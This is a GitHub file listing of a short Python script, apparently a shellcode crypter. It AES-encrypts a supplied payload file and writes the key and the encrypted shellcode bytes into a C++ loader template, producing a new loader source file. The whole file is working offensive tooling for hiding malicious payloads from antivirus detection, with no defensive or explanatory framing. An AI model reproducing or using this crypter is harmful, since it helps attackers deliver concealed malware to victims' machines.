-
Notifications
You must be signed in to change notification settings - Fork 0
/
a3s_krypta.py
38 lines (30 loc) · 1.17 KB
/
a3s_krypta.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import sys
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from os import urandom
import hashlib
def AESencrypt(plaintext, key):
k = hashlib.sha256(KEY).digest()
iv = 16 * b'\x00'
plaintext = pad(plaintext, AES.block_size)
cipher = AES.new(k, AES.MODE_CBC, iv)
ciphertext = cipher.encrypt(plaintext)
return ciphertext,key
def printResult(key, ciphertext):
print('char AESkey[] = { 0x' + ', 0x'.join(hex(x)[2:] for x in KEY) + ' };')
print('unsigned char AESshellcode[] = { 0x' + ', 0x'.join(hex(x)[2:] for x in ciphertext) + ' };')
try:
file = open(sys.argv[1], "rb")
content = file.read()
except:
print("Usage: .\A3S_krypta.py PAY_LOAD")
sys.exit()
KEY = urandom(16)
ciphertext, key = AESencrypt(content, KEY)
template = open("loda.cpp", "rt")
data = template.read()
data = data.replace('unsigned char AESkey[] = { };', 'unsigned char AESkey[] = { 0x' + ', 0x'.join(hex(x)[2:] for x in KEY) + ' };')
data = data.replace('unsigned char payload[] = { };', 'unsigned char payload[] = { 0x' + ', 0x'.join(hex(x)[2:] for x in ciphertext) + ' };')
template.close()
template = open("new.loda.cpp", "w+")
template.write(data)